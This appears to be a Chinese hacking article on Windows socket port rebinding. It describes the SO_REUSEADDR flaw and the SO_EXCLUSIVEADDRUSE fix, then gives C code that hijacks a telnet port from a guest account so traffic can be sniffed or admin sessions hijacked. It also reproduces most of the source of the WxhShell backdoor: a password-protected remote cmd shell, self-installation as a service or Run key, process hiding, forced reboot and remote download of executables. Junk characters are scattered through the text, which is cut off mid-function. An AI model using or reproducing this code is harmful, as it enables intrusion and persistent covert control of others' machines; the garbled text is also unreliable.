在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
"/g/Lc s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?o?~Df& N"@aisi) saddr.sin_family = AF_INET;
1r'skmxq !-)Hog5\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZxLgV$U gWL'Fl}H bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
C,HKao\ }y;s(4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
6O>NDTd% F=bX\T7 这意味着什么?意味着可以进行如下的攻击:
7G zf>n -YPUrU[) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
x(ue
|UG G&y< lh 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{d|e@`"T Db3#; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
"Y-_83 R9xhO! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
%a$ l%8j& _=S4H 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
nJC/yS| W"MwpV 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
xy;u"JY* ?%K7IJ% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
.W>LEz' 7|bzopLJk #include
=n7QL QU #include
HtFc+%= #include
@ A?Ss8p' #include
|soDt<y+L DWORD WINAPI ClientThread(LPVOID lpParam);
aGSix}b1P int main()
6N+ ]g/_a {
\k&2nYVHf WORD wVersionRequested;
9
M>.9~ DWORD ret;
F/.nr WSADATA wsaData;
JiH^N! BOOL val;
]l/ PyX SOCKADDR_IN saddr;
u2\QhP 9 SOCKADDR_IN scaddr;
hc#Sy:T> int err;
#O<, SOCKET s;
x6N)T4J( SOCKET sc;
l|{q8i#4V int caddsize;
FglW|Hwy HANDLE mt;
P]cC2L@Vbi DWORD tid;
rHngYcjR wVersionRequested = MAKEWORD( 2, 2 );
L/*D5k%J err = WSAStartup( wVersionRequested, &wsaData );
|tn.ZEgw3~ if ( err != 0 ) {
rD_\NgVAs printf("error!WSAStartup failed!\n");
^?<gz!(- return -1;
@'IRh9 }
:LrB9Cf$n saddr.sin_family = AF_INET;
v0q(k;Ya -HQ(t //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
{f1iys'Om ~S\y)l\wZ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ngLpiU0H& saddr.sin_port = htons(23);
H"5=z7w if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
nY M2Vxi0+ {
-_[ZRf?^ printf("error!socket failed!\n");
KATu7)e&~^ return -1;
O
n/q&h5 }
`En>o~ L; val = TRUE;
|X47&Y //SO_REUSEADDR选项就是可以实现端口重绑定的
}ebu@)r if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>}H3V] {
&9OnN<mT1 printf("error!setsockopt failed!\n");
5do49H_ return -1;
T;C0t9Yew }
eXA@J[-M: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
,II-:&H //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
3Z_\.Z1R@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
!-AK@`i. ;s\ck:Xg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
.o(S60iH!( {
ioT+,li ret=GetLastError();
5}Z_A?gy printf("error!bind failed!\n");
uz;zmK return -1;
sI<PYi={-6 }
AGGNJ4m listen(s,2);
It#T\fU while(1)
nnZM{<!hF {
lvp8{]I< caddsize = sizeof(scaddr);
wl5+VC*l0 //接受连接请求
+'V ,z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
|C`.m| if(sc!=INVALID_SOCKET)
\f4JIsZ-& {
#-7w| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
W [B;;"ro if(mt==NULL)
x5(B(V@b {
-'Oq.$Qq printf("Thread Creat Failed!\n");
|R3A$r#- break;
j|owU }
FA$1&Fu3Y }
>Pwu> CloseHandle(mt);
(W'3Zv'f }
w,VUWja closesocket(s);
WUK{st.z WSACleanup();
krecUpo return 0;
~8tb^ }
!Ct'H1J- DWORD WINAPI ClientThread(LPVOID lpParam)
BvqypLI {
s)5W:`MH? SOCKET ss = (SOCKET)lpParam;
}ZB:nnG SOCKET sc;
a&C}'e" unsigned char buf[4096];
{w52]5l SOCKADDR_IN saddr;
h
e1= long num;
d)'J: DWORD val;
!g7bkA DWORD ret;
((
{4)5} //如果是隐藏端口应用的话,可以在此处加一些判断
!8}x6 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
zrE Dld9 saddr.sin_family = AF_INET;
Rdl^-\BV saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ByivV2qd{ saddr.sin_port = htons(23);
gaVQ3NqF if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ja%(kq[v {
p -wEPC0 printf("error!socket failed!\n");
TKrh3
return -1;
SwdUElEp }
$[M5Vv val = 100;
vI0::ah/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[*z`p;n2D {
g/BlTi ret = GetLastError();
o\-: return -1;
woyeKOr }
.?LP$O= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
qV7nF
}V{ {
:GN7JxD# ret = GetLastError();
%bZ}vJ5b return -1;
X.FFBKjf[e }
"Oq>i9v;|$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
kdp- |9 {
&pEr;:E printf("error!socket connect failed!\n");
u
ioBId closesocket(sc);
D>m!R[!o closesocket(ss);
|^T?5=&Kt return -1;
o btXtqew }
xZ(f_Oy while(1)
6R';[um?q {
V^E.9fs, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_H)>U[ //如果是嗅探内容的话,可以再此处进行内容分析和记录
$i.)1.x //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9 ,>u, num = recv(ss,buf,4096,0);
1jkMje if(num>0)
A-5'OI send(sc,buf,num,0);
cUK9EOPe else if(num==0)
q}MPl 2 break;
mIm.+U`a2 num = recv(sc,buf,4096,0);
6ujePi <U if(num>0)
yVl?gGgh send(ss,buf,num,0);
7FvtWE* else if(num==0)
BZ"+ ND9m_ break;
jw$[b=sa }
u!D AeE closesocket(ss);
9Netnzv% closesocket(sc);
3PgiV%] return 0 ;
PA<<{\dp }
t182&gpd` @WfX{485 ?R8wm E[w ==========================================================
*9I/h~I P/;d|M( 下边附上一个代码,,WXhSHELL
4Y:[YlfD. v5`Q7ZZ ==========================================================
l4smAT 3 F ke#t #include "stdafx.h"
YMfjTt@Q Ed +"F{!eQ #include <stdio.h>
1Kc[).O1 #include <string.h>
QGM@m:O #include <windows.h>
"l.1 UB& #include <winsock2.h>
"JJEF2e@Z #include <winsvc.h>
sm>5n_Vw #include <urlmon.h>
E"[h20`\/ 'I8K1Q=/ #pragma comment (lib, "Ws2_32.lib")
I|oS`iLl$ #pragma comment (lib, "urlmon.lib")
7GVI={b %?WR9}KU0 #define MAX_USER 100 // 最大客户端连接数
$bd2TVNV: #define BUF_SOCK 200 // sock buffer
Od5I:p]N #define KEY_BUFF 255 // 输入 buffer
(@"5:M !&b
wFO>P #define REBOOT 0 // 重启
TE!+G\@ #define SHUTDOWN 1 // 关机
By7?<A 1Zj NRg= #define DEF_PORT 5000 // 监听端口
_0: }"!Gq T_=iJ: Q #define REG_LEN 16 // 注册表键长度
N+M^e`H #define SVC_LEN 80 // NT服务名长度
DpZO$5.Ec+ "x
P2GZ // 从dll定义API
1{pU:/_W typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
j|/4V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
- IF3'VG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}aC@o v]2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
yl'@p5n cEc_S42Z // wxhshell配置信息
J jp)%c#_ struct WSCFG {
OqcM3# int ws_port; // 监听端口
-xk.wWpV char ws_passstr[REG_LEN]; // 口令
-4IHs=`;I int ws_autoins; // 安装标记, 1=yes 0=no
+91j 1? char ws_regname[REG_LEN]; // 注册表键名
Tb@r@j:V char ws_svcname[REG_LEN]; // 服务名
THl={,Rw` char ws_svcdisp[SVC_LEN]; // 服务显示名
?0%3~E`l: char ws_svcdesc[SVC_LEN]; // 服务描述信息
~aZy52H_#. char ws_passmsg[SVC_LEN]; // 密码输入提示信息
2uln)] int ws_downexe; // 下载执行标记, 1=yes 0=no
XVwJr""+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
C ks;f6G char ws_filenam[SVC_LEN]; // 下载后保存的文件名
^KRe( o6 lCP& };
l}jC$B`5 :fx^{N!T // default Wxhshell configuration
E@(nKe&6T_ struct WSCFG wscfg={DEF_PORT,
W7PL]5y& "xuhuanlingzhe",
.%x%b6EI 1,
7kDqgod^A "Wxhshell",
f2f2&|7 "Wxhshell",
suF<VJ)&s "WxhShell Service",
)oU%++cdo "Wrsky Windows CmdShell Service",
$]`rWSYtv` "Please Input Your Password: ",
n;+`%;6 1,
%UXmWXF4$ "
http://www.wrsky.com/wxhshell.exe",
BGOajYD "Wxhshell.exe"
hq|I%>y };
z?I"[M ]I<w;.z // 消息定义模块
`$oy4lDKQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
y:Ne}S*ncE char *msg_ws_prompt="\n\r? for help\n\r#>";
o0}kRL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
FD[o94`% char *msg_ws_ext="\n\rExit.";
ARd*c?Om char *msg_ws_end="\n\rQuit.";
fuQk}OW{ char *msg_ws_boot="\n\rReboot...";
z55g'+Kab char *msg_ws_poff="\n\rShutdown...";
h7a/]~ char *msg_ws_down="\n\rSave to ";
\'9(zb vz9 XEe$Wh
char *msg_ws_err="\n\rErr!";
#i'wDvhol char *msg_ws_ok="\n\rOK!";
/:. p{y ZTg[}+0e char ExeFile[MAX_PATH];
&y&pjo6v1 int nUser = 0;
{\u6Cj x HANDLE handles[MAX_USER];
3'zL,W W int OsIsNt;
8mM`v 'A{B[ SERVICE_STATUS serviceStatus;
l0K_29^ SERVICE_STATUS_HANDLE hServiceStatusHandle;
j^)=<+Q;= $g&_7SJ@ // 函数声明
Y1-=H)G int Install(void);
=v(&qh9Q2 int Uninstall(void);
ecMpU8}rR int DownloadFile(char *sURL, SOCKET wsh);
@>q4hYF int Boot(int flag);
AK//]
void HideProc(void);
ql I1<Jx int GetOsVer(void);
fi int Wxhshell(SOCKET wsl);
xFA+ZjBC void TalkWithClient(void *cs);
2=
)V"lR\ int CmdShell(SOCKET sock);
f#&@Vl(i& int StartFromService(void);
RH^;M-' int StartWxhshell(LPSTR lpCmdLine);
v`\ CzT 3U9leY'2N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
B,4
3b O VOID WINAPI NTServiceHandler( DWORD fdwControl );
:4x&B^,53 },%,v2} // 数据结构和表定义
7?]wAH89 SERVICE_TABLE_ENTRY DispatchTable[] =
P/[}$(&: {
p?'
F$Wz {wscfg.ws_svcname, NTServiceMain},
}*|aVBvU {NULL, NULL}
ekCt1^5Y };
+%H2;8{F $AF,4Ir-b+ // 自我安装
)(h<vo)-zX int Install(void)
,!bcm {
>a)6GZ@ char svExeFile[MAX_PATH];
=zRjb> HKEY key;
tN_~zP strcpy(svExeFile,ExeFile);
]htx9ds= 2>vn'sXdj // 如果是win9x系统,修改注册表设为自启动
=/kT| if(!OsIsNt) {
.#_g.0< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_Kv;hR> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
s@K #M RegCloseKey(key);
i|N(=Z= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
U?8X] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xz){RkVzP RegCloseKey(key);
P`y 0FKS return 0;
E@8< }
gx=2]~O1( }
puK /;nns }
bdyIt)tK+ else {
$`txU5#vs V]|P>>`v9p // 如果是NT以上系统,安装为系统服务
3M[5_OK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
LLJsBHi- if (schSCManager!=0)
_j?/O)M
c {
!;B^\
8{ SC_HANDLE schService = CreateService
4Dv42fO (
vLQh r&I schSCManager,
J-Wphc!m wscfg.ws_svcname,
;op8r u wscfg.ws_svcdisp,
bEl)/z*gy/ SERVICE_ALL_ACCESS,
/@9-D
4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
oT[8Iu SERVICE_AUTO_START,
-MItZ SERVICE_ERROR_NORMAL,
QE~#eo svExeFile,
u|8yV.=R NULL,
[(/IV+ NULL,
"hXB_73)V NULL,
yWZ%|K~$ NULL,
gfU!sYZ NULL
=@go;," );
APY*SeIV if (schService!=0)
]z5gC`E0 {
}~$96|J CloseServiceHandle(schService);
Wj#Gm CloseServiceHandle(schSCManager);
r$z0C&5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
s(M8 Y strcat(svExeFile,wscfg.ws_svcname);
/]"2;e-s+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#ZPy&GIr RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
P]||Xbbp RegCloseKey(key);
A+bU{oLr return 0;
"jEf$] }
u7kw/_f }
~$Pz`amT| CloseServiceHandle(schSCManager);
,MdK "Qa> }
cQldBc }
:,BKB*a\ :Vx5%4J return 1;
q$6Tb }
J,j! 1b-_![&]1 // 自我卸载
8m;tgMFO int Uninstall(void)
q(I`g;MF {
h$~\to$C HKEY key;
XB'PEvh8 o `N /w if(!OsIsNt) {
',P E25Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PK<+tIm\ RegDeleteValue(key,wscfg.ws_regname);
}Pn]j7u! RegCloseKey(key);
1O,<JrE+- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I?!7]S n$ RegDeleteValue(key,wscfg.ws_regname);
ET 2@dY~ RegCloseKey(key);
sHQ82uX return 0;
L\Y4$e9bF8 }
_]# ^2S }
- r!sY+Z> }
(+ibT;!] else {
vMB`TpZ xLmgr72D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
BHa'`lCb if (schSCManager!=0)
f Nnemn@> {
qoXncdDHZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
c$skLz if (schService!=0)
}hy,
}2(8 {
lmRdl> if(DeleteService(schService)!=0) {
<4|/AF*> CloseServiceHandle(schService);
jA}b=c CloseServiceHandle(schSCManager);
H<`<5M 8 return 0;
z[`OYwsW }
d1rIU6 CloseServiceHandle(schService);
Btgxzf }
]F4.m CloseServiceHandle(schSCManager);
J>XMaI})U }
;mAlF>6]\ }
%P2l@}?a gx',~ return 1;
GF=rGn@,)` }
GZwz4=` EDf"1b{PX // 从指定url下载文件
AYP*J int DownloadFile(char *sURL, SOCKET wsh)
2`;&Uwt {
=W_Pph HRESULT hr;
i=^!?
i char seps[]= "/";
Fb0r(vQ^ char *token;
hE|W%~Jx char *file;
y`|86`
Y char myURL[MAX_PATH];
5u89?-UD char myFILE[MAX_PATH];
Sd |=*X qG<3H!Z!ky strcpy(myURL,sURL);
<n-}z[09 token=strtok(myURL,seps);
fZ5zsm'N while(token!=NULL)
Ap<kK0#h {
D,l&^diz file=token;
3Hd~mfO\ token=strtok(NULL,seps);
EIrAq!CA }
45aUz@ DQ*T2*L GetCurrentDirectory(MAX_PATH,myFILE);
fR$_=WWN>h strcat(myFILE, "\\");
z*FCd6X strcat(myFILE, file);
``?79 MJ5 send(wsh,myFILE,strlen(myFILE),0);
g]Jt (aYK send(wsh,"...",3,0);
pRys 5/&v hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
)p^" J| if(hr==S_OK)
31^Jg return 0;
u _mtdB' else
W2Ik!wEe& return 1;
NxW
Dw QHDR*tB:{ }
MfA@)v _@5|r|P> // 系统电源模块
TKe\Bi int Boot(int flag)
>'1[Bh {
L~+/LV HANDLE hToken;
%;eD.If} TOKEN_PRIVILEGES tkp;
qipV'T,S M
'#a.z% if(OsIsNt) {
\_]X+o; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
;p+[R+ ) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
PS}'LhZ tkp.PrivilegeCount = 1;
kz\Ss|jl tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AxtmG\o> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
YO'aX if(flag==REBOOT) {
ve]hE}o/} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
21$E.x 6 return 0;
<I#nwoHN }
s(Bcw`'# else {
hp1+9vEN if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:pfLa2f+ return 0;
?o6X_UxW! }
&,l(2z[ }
'eo/"~/*w else {
O
joa3 if(flag==REBOOT) {
5%%e$o+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
} J[Z)u return 0;
)dd1B>ej] }
r~z'QG6v/ else {
RH.qbPjx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Bd]k]v+ return 0;
zM,r0Z }
p|C[T]J\@ }
oY4^CGk= ^TtL-|I return 1;
{Q}F.0Q }
!:PiQ19
'u g/FZ?Wo // win9x进程隐藏模块
^Z-oO#)h# void HideProc(void)
o1vK2V {
[!De|,u(^ \_ V*Cs HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.g3=L if ( hKernel != NULL )
Pa6pq;4St {
?-zuy US pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
egvb#:zW? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!
,bQ;p3g| FreeLibrary(hKernel);
CLTkyS)C }
zak|* _ <PVwf`W. return;
QtwQVOK }
L
R\LC6kM *E*oWb]H // 获取操作系统版本
P}]o$nWT int GetOsVer(void)
ESNI$[` {
*f3S tX OSVERSIONINFO winfo;
^DN:.qQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
@)BO`;*$fF GetVersionEx(&winfo);
m`l9d4p
w? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
lH;V9D^ return 1;
{"+M%%`*# else
\"1>NJn&k) return 0;
d\ 8v
VZ
}
qa-FLUkIk! +ID\u
<? // 客户端句柄模块
h~m,0nGO int Wxhshell(SOCKET wsl)
":_II[FPY {
mUbm3JIjJ SOCKET wsh;
%rMCiz struct sockaddr_in client;
."H;bfcL_ DWORD myID;
#D4 4WJY+) while(nUser<MAX_USER)
{g!7K {
yo=L1;H int nSize=sizeof(client);
J\r\_P@;c wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
U
fyhd if(wsh==INVALID_SOCKET) return 1;
VD~5]TQ E`UkL*Q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
%W"u4
NT7 if(handles[nUser]==0)
bDM },( closesocket(wsh);
CtXbAcN2B else
?id)
2V0s nUser++;
-B H/)$-$ }
E=N$JM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7ocUFY0" D xV=S0P return 0;
=3.dgtH }
|gA@WV-% Sv T0%2 // 关闭 socket
7a1o#O void CloseIt(SOCKET wsh)
I&{T 4.B:U {
3'Y-~^ml| closesocket(wsh);
SO=gG 2E nUser--;
pL"{Uqi ExitThread(0);
(N}-]%# }
$<v4c5r]O vN'+5*Cgy6 // 客户端请求句柄
\ZZ6r^99 void TalkWithClient(void *cs)
~t)cbF(UO {
uQIPnd(V )&@YRT\c?8 SOCKET wsh=(SOCKET)cs;
i%-yR DIX char pwd[SVC_LEN];
F
qH))2 char cmd[KEY_BUFF];
(oGYnN,2 char chr[1];
v>]g="5}8 int i,j;
c!ZZMCs bzFac5n)Q while (nUser < MAX_USER) {
<D/K[mz- &DWSf`:Hx if(wscfg.ws_passstr) {
ga;nM#/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
zMv`<m% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Y~vk>ZC //ZeroMemory(pwd,KEY_BUFF);
@Chl>s i=0;
W3,r@mi^s7 while(i<SVC_LEN) {
c["1t1G x4I!f)8Q // 设置超时
/o9it; fd_set FdRead;
MJ JC6: struct timeval TimeOut;
<=NnrZOF FD_ZERO(&FdRead);
#c:s2EL FD_SET(wsh,&FdRead);
93]63NY TimeOut.tv_sec=8;
[c3!xHt5O TimeOut.tv_usec=0;
R!M' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
mD9Iao%4~ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
VW*%q0i- R4'.QZ-x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
L<!h3n pwd
=chr[0]; v
WXo#
if(chr[0]==0xd || chr[0]==0xa) { Ak?9a_f
pwd=0; 5nx*D"
break; =3035{\
} M7/5e3
i++; ,7B7X)m{3
} v@{y}
g=\(%zfsxr
// 如果是非法用户,关闭 socket g$uiwqNA%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U2A-ub>7
} aH"d~Y^
8WytvwB}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uU)t_W&-J
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u.2X"
Z?eTjkNS#
while(1) { x<l 5wh
(]q
([e
ZeroMemory(cmd,KEY_BUFF); 96\FJHtZ
&E]) sJ0
// 自动支持客户端 telnet标准 "Erphn
j=0; < dE7+w
while(j<KEY_BUFF) { \Q#pu;Y*N]
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NN7KwVg
cmd[j]=chr[0]; Z2W&_(^.h
if(chr[0]==0xa || chr[0]==0xd) { =_OJ
7K'
cmd[j]=0; Ov(k:"N
break; :7(fBf5
} vVB WhY]
j++; t 9(,JC0
} !S<p"
CRo@+p10
// 下载文件 k
x:+mF
if(strstr(cmd,"http://")) { S8v,'Cc
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ar@,SKU'K
if(DownloadFile(cmd,wsh)) |~76dxU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <RxxGD
else S>5w=RK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vmgd
} pp|$y\ZzB
else { /\ fR6|tJ
|3k r*#
switch(cmd[0]) { -wUT@a
LI-ewea
// 帮助 bv7)[,i
case '?': { un\o&0}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O4nA?bA
break; 1^AQLOiRE1
} uaD+G:{[
// 安装 1&h\\&ic
case 'i': { Zc";R!At
if(Install()) yTc&C)Jba
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #}6~>A
else D{7sfkcJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e<DcuF<ZS
break; ?RE"<L
} -Nr*na^H9#
// 卸载 G=e'H-
case 'r': { XcbEh
if(Uninstall()) e0C_ NFS+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4{,!'NA
else
ndyIsR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G~zfPBN0D
break; :MYLap&L&
} !FK)iQy$0
// 显示 wxhshell 所在路径 2*W|s7cc
case 'p': { R<3 -!p1v
char svExeFile[MAX_PATH]; $U&p&pgH=W
strcpy(svExeFile,"\n\r"); ~Y1nU-
strcat(svExeFile,ExeFile); ;<MHl[jJD
send(wsh,svExeFile,strlen(svExeFile),0); aEEb1Y
break; "6~+-_:
} p;%5 o0{1
// 重启 &i805,lx
case 'b': { eiA$) rzy
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p=[I;U-#H
if(Boot(REBOOT)) 8XCT[X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N5MWMN[6aP
else { \R
3O39[
closesocket(wsh); B$q5/ L$}
ExitThread(0); `OZiN;*|
} v/7^v}[<
break; Ix@nRc'
} d_[zt)
// 关机 6m:$RW
case 'd': { oB<!U%BN
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IUG}Q7w5
if(Boot(SHUTDOWN)) ?wIw$p>wT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x9]vhR/av
else { dM -<aq
closesocket(wsh); Tj2pEOu
ExitThread(0); 1#zD7b~
} {XXnMO4uR;
break; %4wHiCOg
}
PmE8O
// 获取shell hBDmC_\~
case 's': { n&Q0V.
CmdShell(wsh); Rd@?2)Xm
closesocket(wsh); }+:X= @Z@
ExitThread(0); t#!AfTY$w
break;
(2
P&@!|
} kb\\F:w(W
// 退出 VTO92Eo
case 'x': { e[QEOx/-h2
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #=ko4?Wr(
CloseIt(wsh); ;|,*zD
break; K7,Sr1O `
} OP``+z>
// 离开 ]0")iY_
case 'q': { (Kw%fJT
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +WCV"m
closesocket(wsh); #Fh:z4
WSACleanup(); YCG$GD
exit(1); 3'55!DE
break; &!>.)I`
} 8wCB}q C
} +[V.yY/t|>
} "!#KQ''R
m>DJ w7<
// 提示信息 G,b*Qn5#
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k4JTc2b
} LO,:k+&A+
} 4@jX{{^6%
}(#;{_
return; :TP\pH 7E
} cZ,}1?!
%/r:iD
// shell模块句柄 K{iC'^wP
int CmdShell(SOCKET sock) !!)NER-dv
{ ?V =#x.9
STARTUPINFO si; riSgb=7q9
ZeroMemory(&si,sizeof(si)); ' $"RQ=
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .6pVt_f0/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 50Ov>(f@7
PROCESS_INFORMATION ProcessInfo; /kqa|=-`q
char cmdline[]="cmd"; kq>I?wg
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eY`o=xN
return 0; 3
t+1M
} {Ok]$0L
whQJWi=ck
// 自身启动模式 YN7JJJ/~T
int StartFromService(void) ;y-sd?pAk
{ a6 "-,Kg
typedef struct be
HEAQ
{ j;EH[3
DWORD ExitStatus; O&@CT] )8
DWORD PebBaseAddress; Lwo9s)j<e
DWORD AffinityMask; 3yLJWHO%W
